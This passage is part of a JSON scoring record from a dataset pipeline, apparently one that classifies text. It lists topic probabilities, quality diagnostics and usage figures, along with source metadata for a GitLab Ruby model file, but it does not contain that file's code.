Dining": 6.096949334961886e-06, "Games & Gaming": 2.5343473015458285e-05, "Electronics & Hardware": 4.429561170100568e-05, "Health, Healthcare & Wellness": 7.740424275038139e-06, "History & Geography": 1.035923499842981e-05, "Home, Pets & Hobbies": 7.351141217953626e-06, "Industry & Production": 1.1383672510470034e-05, "Language, Literature & Philosophy": 2.0355489947103532e-05, "Politics & Government": 7.2205716174790986e-06, "Religion & Spirituality": 1.2048330454677708e-05, "Science, Mathematics & Engineering": 0.00018802838484353141, "Relationships & Community": 7.438854658400366e-06, "Software Usage & Applications": 0.00044194175854122544, "Programming & Software Engineering": 0.998886132408893, "Sports & Fitness": 1.7253828658200932e-05, "Vehicles & Transportation": 6.168706467585461e-06, "Travel & Tourism": 1.819743350914121e-05, "Other / Uncovered Subject": 0.00015602467752988324, "Unknown / Insufficient Content": 3.337887754986665e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 9.075406615297557e-05, "Art & Design": 7.357942482344358e-05, "Law & Crime": 9.810603853417955e-05, "Education & Careers": 6.041279360119567e-05, "Entertainment & Media": 5.591673068581961e-05, "Fashion & Beauty": 2.999939593554234e-05, "Business, Economics & Finance": 0.00021176197143161555, "Food & Dining": 2.8580860097248774e-05, "Games & Gaming": 6.88541606417597e-05, "Electronics & Hardware": 0.00011573891146027841, "Health, Healthcare & Wellness": 3.380654821887672e-05, "History & Geography": 3.386823201986149e-05, "Home, Pets & Hobbies": 2.2965015842582262e-05, "Industry & Production": 2.8823378775182113e-05, "Language, Literature & Philosophy": 4.719355908821916e-05, "Politics & Government": 3.895896077264125e-05, "Religion & Spirituality": 4.8276544042372753e-05, "Science, Mathematics & Engineering": 0.001862836430591275, "Relationships & Community": 2.4423935946099045e-05, "Software Usage & Applications": 0.0015753654220299338, "Programming & Software Engineering": 0.007370275270794998, "Sports & Fitness": 3.207758847400347e-05, "Vehicles & Transportation": 1.5040941710452407e-05, "Travel & Tourism": 5.8322886415621054e-05, "Other / Uncovered Subject": 0.0001558456526912423, "NONE": 0.9878182152792225}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9713, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9713, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:16.916716+00:00", "scoring_key_slot": "primary", "dataset_uid": "2eab6b67-d302-4583-a77c-3e1b0636ebe3", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "8b5405766e7cdc4e054a84cf0396b551fb96fc2445eb2d4b9aefb3d19da62668", "source_metadata": {"uuid": "2eab6b67-d302-4583-a77c-3e1b0636ebe3", "repo_name": "gitlabhq/gitlabhq", "relative_path": "app/models/application_record.rb", "category": "TOOL", "algo_rel_score": 0.6707247495651245, "quality_score": 7.87310266494751, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 115408, "repo_created_at": "2011-10-02T16:25:27.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 24030, "forks": 5758, "issues": 0, "pull_requests": 15}, "file_meta": {"content_id": "495acdd622b957c5afe2e99c820d9ef98db7d616", "size_bytes": 4736, "file_timestamp": 1752786723, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9c7ce66dac0adbe72a9578939d941c275db015ff"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 115408, "repo_created_at": "2011-10-02T16:25:27.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 24030, "forks": 5758, "issues": 0, "pull_requests": 15}, "file_meta": {"content_id": "495acdd622b957c5afe2e99c820d9ef98db7d616", "size_bytes": 4736, "file_timestamp": 1752786723, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9c7ce66dac0adbe72a9578939d941c275db015ff", "url": "https://github.com/gitlabhq/gitlabhq/blob/9c7ce66dac0adbe72a9578939d941c275db015ff/app/models/application_record.rb"}, "gpt4o_tokens": 1172, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2912184758763552, "noise_severity": 0.017309903024764768, "missing_content_severity": 0.010431507697858357, "factual_density": 3.5856546650274597, "pretraining_utility": 0.549051376706595, "math_density": 0.04913356306025408, "code_density": 3.9200467083014683, "reasoning_density": 0.5019012710587514, "education_level": 2.931502698386224, "creative_writing_quality": -0.1377819036392766}, "score_applicability": {"education_level": 0.9991004058623674, "creative_writing_quality": 0.000305970755170368}}